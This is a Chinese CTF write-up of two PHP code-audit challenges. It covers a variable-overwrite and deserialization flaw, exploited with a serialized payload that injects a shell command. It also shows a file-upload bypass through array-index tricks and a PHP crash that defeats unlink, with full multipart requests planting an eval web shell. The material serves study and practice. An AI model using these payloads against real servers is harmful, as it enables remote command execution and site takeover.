上海大学生两道代码审计题目

放假抽空和同学打了一哈上海大学生的ctf,题目质量一般,脑洞太大,不过有两道代码审计题目还是不错的,同时自己也有好多点没有考虑到,这里记录一哈学习经验。

web2

序列化与反序列化

php所有的值都可以使用serialize()来存储数据,输出一串字符串。
unserialize()将字符串内包含的数据进行返回。
序列化一个对象(类的实例),不会保存类的方法(所以一般情况只能去找类的漏洞)。

魔术方法

PHP 中所有以 __(两个下划线)开头的类方法保留为魔术方法。
常用的魔术方法有

__construct(), __destruct(), __call(), __callStatic(),
 __get(), __set(), __isset(), __unset(), __sleep(),
 __wakeup(), __toString(), __invoke(), __set_state(),
 __clone() 和 __debugInfo()

一些默认情况

序列化一个对象是默认会调用__sleep
反序列化是会调用__wakeup
__construct会在实例化一个对象是被调用
__desturct会在对象不再使用或者程序退出时自动调用
__toString会在对象被当做字符串时使用(特别注意字符串连接符.)
__get会在读取不可访问的属性的值的时候调用
<?php
error_reporting(0);
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

这道题目是2017年百越杯的改版,这里刚开始是经典的$$变量覆盖漏洞,没什么好看的,直接丢paylaod

first=doller&a=var=give%26bbb=me%26ccc=flag

其中一些方法如下

__construct,初始化变量
__wakeup,在反序列化时会自动调用,先将$args进行trim,再进行waf
waf,将正则中的东西替换为空
echo,这里调用系统命令执行$host参数中指定的命令
__destruct,对象销毁时使用,如果传入的对象中有echo方法,就执行call_user_func_array函数,参数为$args

剩下这里就很简单了

$come=new come("echo",array("`ls`")); //init here
$test=serialize($come);
print_r($test);
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:4:"`ls`";}}

然后

传入参数
unserialize($_GET['come']);

什么都没有发生。
这里参考原因是print_r中的部分不可见字符paylaod输出后进行了改变,手动调整就好。

print_r(urlencode($test));
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22%60ls%60%22%3B%7D%7D

即可成功执行
另外也可以手动修改

00000000: 4f3a 343a 2263 6f6d 6522 3a32 3a7b 733a  O:4:"come":2:{s:
00000010: 3132 3a22 0063 6f6d 6500 6d65 7468 6f64  12:".come.method
00000020: 223b 733a 343a 2265 6368 6f22 3b73 3a31  ";s:4:"echo";s:1
00000030: 303a 2200 636f 6d65 0061 7267 7322 3b61  0:".come.args";a
00000040: 3a31 3a7b 693a 303b 733a 343a 2260 6c73  :1:{i:0;s:4:"`ls
00000050: 6022 3b7d 7d                             `";}}

其中的.在之前的print_r中没有输出,这里修改为%00即可,最后直接给给payload。

?come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:4:"`ls`";}}

剩下没难度,老套路。


web3

这里记录一哈只因为学到了end和$filename[count($filename) - 1]),unlink绕过方法

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/www/html/sandbox/' . $dir;
    echo mkdir($sandbox);
    echo chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
            echo $filename;
        }
        $ext = end($filename);
        echo "ext1:$ext";
        
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        echo $new_name;

        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
            echo $_;
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

比赛的时候乍一看需要过两关

end($filename)==$filename[count($filename) - 1]
substr(file($_)[0],0,6)==='@<?php'  && strpos($_,$new_name)===false

想到了被hitcon的oneline题目,而且第一关没有过去的经验,给吓住了,直接就放弃了。
赛后再看发现这个题目真是太简单了

首先上传一个文件,然后比较
end($filename)==$filename[count($filename) - 1]
也就是后缀名师傅相等
不等就重命名为一个100-999(可爆破)的文件名.ext
而且上传文件的前6个字符需要为@<?php,如果文件名正确的化就直接文件包含输出。
然后删除文件

思路就很简单,需要爆破文件名就一定需要考虑unlink函数的漏洞,或者条件竞争。

至于end(filename)==filename[count($filename) - 1]的漏洞,这里参考了

这里问题出现在如何获取$filename
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
首先,检查有没有POST file,如果有的话,就直接获取file(这里file可以为数组)
如果没有的话,就获取上传的文件名$_FILES['file']['name'];

然后,如果if (!is_array($filename)) ,也就是文件名不是数组话,就.分割
也就是I.am.theKingOfNight会被分割为
file[0]=>'I'
file[1]=>'am'
file[2]=>'theKingOfNight'
然后再$ext = end($filename);,也就是获取filename的最后一项,在这里就返回theKingOfNight

而且,针对复合型数组
file[0]=>'I'
file[1]=>'am
file[name]=>'theKingOfNight'
end($filename)在这里取的是theKingOfNight
$filename[count($filename) - 1]在这里取的是file[2],但是不存在这个东西,所以为空

至于unlink函数,这里也是利用了漏洞

本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
在这里同时在自己的请求中上传自己想要上传的文件,在unlink函数之前使程序崩溃,就可以使得程序一直保留文件。

绕过unlink写shell,我参考了这篇程序,当然没有玩玩整整的读完,还是很有难度的

这里使用了一个小trik,也在文章最后给出
/.

万事具备,剩下的东西没什么难度了。
这里给出两个利用的payload,直接从这里偷的

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[0]"

php

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

<?php
    @eval($_GET['cmd']);
?>
----------------------------568507734196432315160385--
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[0]"

php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------280543779984883401718121
Content-Disposition: form-data; name="hehe"

100.php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

@<?php
    @eval($_GET['cmd']);
?>
----------------------------280543779984883401718121--

当然,如果有什么好的提议或想法也欢迎师傅们多多交流,感激不尽。

参考

https://www.freebuf.com/column/163174.html
https://chybeta.github.io/2017/10/28/2017%E5%B9%B4%E7%99%BE%E8%B6%8A%E6%9D%AFAWD-web-writeup/?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/publicStr/article/details/82085883
https://www.jianshu.com/p/dfd049924258
https://xz.aliyun.com/t/3155#toc-17

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,590评论 18 139
  • 如果你看完书中的所有例子,你很可能已经做完你的实验和在已经越狱的iPhone上的研究。因为和许多人一样,几乎所有的...
    fishmai0阅读 15,792评论 2 42
  • 2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...
    Sec小玖阅读 22,368评论 1 11
  • .bat脚本基本命令语法 目录 批处理的常见命令(未列举的命令还比较多,请查阅帮助信息) 1、REM 和 :: 2...
    庆庆庆庆庆阅读 8,036评论 1 19
  • 陪坎vs特拉克托 培坎在本赛季伊朗超过去的五轮取得了连胜,成绩骄人,更是客场战胜了去年冠军波斯玻璃丝,让人振奋,培...
    小锋锅阅读 247评论 0 0